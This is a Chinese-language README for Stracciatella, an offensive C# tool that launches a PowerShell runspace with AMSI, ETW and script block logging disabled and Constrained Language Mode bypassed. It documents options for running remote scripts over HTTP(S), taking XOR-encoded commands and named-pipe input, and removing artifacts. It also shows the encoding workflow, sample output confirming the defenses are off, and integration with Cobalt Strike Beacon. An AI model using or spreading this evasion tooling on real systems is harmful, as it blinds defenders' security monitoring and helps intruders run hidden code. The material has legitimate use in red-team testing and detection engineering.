从 C# 内部启动的 OpSec 安全 Powershell runspace(又名 SharpPick),在启动时禁用 AMSI、约束语言模式和脚本块日志记录
从C#内部运行的PowerShell runspace(又名SharpPick技术),已禁用AMSI、ETW和脚本块日志记录,为您提供便利。
如今,当PowerShell通过使用如下技术遭到严重检测时:
高级攻击者必须找到绕过这些措施的方法,以便提供复杂的对抗性模拟演练。为了协助这些努力,创建了以下项目。
此程序构建在针对特定技术的绕过方法之上,这些方法包含在:
而这些又基于以下研究:
SharpPick 的想法,即通过使用 Runspaces 从 C# 程序集内部启动 PowerShell 脚本,也并非新鲜事物,首次由 Lee Christensen(@tifkin_)在其作品中实现:
此外,源代码借用了 Lee 的 CustomPSHost 实现。
此项目继承了上述研究和伟大的安全社区,以提供一个接近于有效的 PowerShell 环境,在启动时禁用防御措施。
现在可以轻松编译为 .NET 4.0,而如果使用 .NET Framework 4.7.1+ 编译,则会包含附加功能,允许卸载构成 CLM 绕过工件的 DLL,并尝试在之后删除它们(说实话效果有限)。
使用 .NET 4.0 编译的 Stracciatella 效果最佳。
有几种选项可用:
PS D:\> Stracciatella -h
:: Stracciatella - 禁用 AMSI、ETW 和脚本块日志记录的 PowerShell runspace。
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
用法:stracciatella.exe [选项] [命令]
-s <路径>, --script <路径> - 包含要执行的 PowerShell 脚本的文件路径。如果未给出选项,将进入
伪 shell 循环。也可以是 HTTP(S) URL,用于下载并执行 PowerShell 脚本。
-v, --verbose - 打印详细信息
-n, --nocleanup - 不删除 CLM 禁用残留物(TEMP 中的 DLL 文件和 COM 注册表项)。
默认情况下将始终删除这些。
-C, --leaveclm - 不尝试禁用 CLM。更隐蔽。将避免留下未删除的 CLM 禁用工件。
-f, --force - 即使 PowerShell 防御未禁用,也继续执行。
默认情况下,失败时退出。
-c, --command - 执行指定的命令。您可以使用 -c 或在 stracciatella 参数后附加命令:cmd> straciatella ipconfig /all
如果同时给出了命令和脚本参数,则在运行脚本后执行命令。
-x <密钥>, --xor <密钥> - 将输入视为 XOR 编码,其中 <密钥> 是十进制的一个字节密钥
(十六进制前加 0x)
-p <名称>, --pipe <名称> - 从指定的命名管道读取 PowerShell 命令。命令前必须加上 4 个字节的
长度,以小端序编码(长度-值表示法)。
-t <毫秒>, --timeout <毫秒>
- 指定管道读取操作的超时时间(毫秒)。默认值:60 秒。0 - 无限。
-e, --cmdalsoencoded - 也将输入命令(通过 '--command' 指定)视为已编码。
在解码并运行输入脚本文件后,解码输入命令。
默认情况下,我们只解码输入文件,并将命令视为明文。
该程序接受命令和脚本文件路径作为输入。两者都是可选的,如果都没有给出,将启动伪 shell。 命令和脚本都可以进一步使用单字节 XOR 编码(将输出 Base64 编码),以获得更好的 OpSec 体验。
以下是几个用例示例:
PS D:\> Stracciatella.exe -v
:: Stracciatella - 禁用 AMSI、ETW 和脚本块日志记录的 PowerShell runspace。
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] PowerShell 版本:5.1
[.] 语言模式:FullLanguage
[+] 无需禁用约束语言模式。已处于 FullLanguage。
[+] 脚本块日志记录已禁用。
[+] AMSI 已禁用。
[+] ETW 已禁用。
Stracciatella D:\> $PSVersionTable
名称 值
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
首先,为了准备编码后的语句,我们可以使用附带的 encoder.py 脚本,其用法如下:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command 指定用于编码的命令或脚本文件路径
optional arguments:
-h, --help 显示此帮助信息并退出
-x KEY, --xor KEY 指定命令/文件的 XOR 编码密钥(一个字节)
-o PATH, --output PATH
(可选)输出文件。如果未给出,则将输出回显到 stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
然后将 encoder.py 的输出作为 Stracciatella 的编码命令输入:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - 禁用 AMSI、ETW 和脚本块日志记录的 PowerShell runspace。
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] 将加载脚本文件:'.\Test2.ps1'
[+] AMSI 已禁用。
[+] ETW 已禁用。
[+] 脚本块日志记录已禁用。
[.] 语言模式:FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
其中:
Command 由以下命令构成:Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - 包含:"ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella 附带一个 Aggressor 脚本,加载后会在 Beacon 控制台中暴露 stracciatella 命令。用法与 powerpick 非常相似(通过 stracciatella-import 预先导入 PowerShell 脚本)。输入参数将使用随机密钥进行 XOR 处理,并通过随机命名的管道传递到 Stracciatella 的 runspace。
以下 Cobalt Strike 命令可用: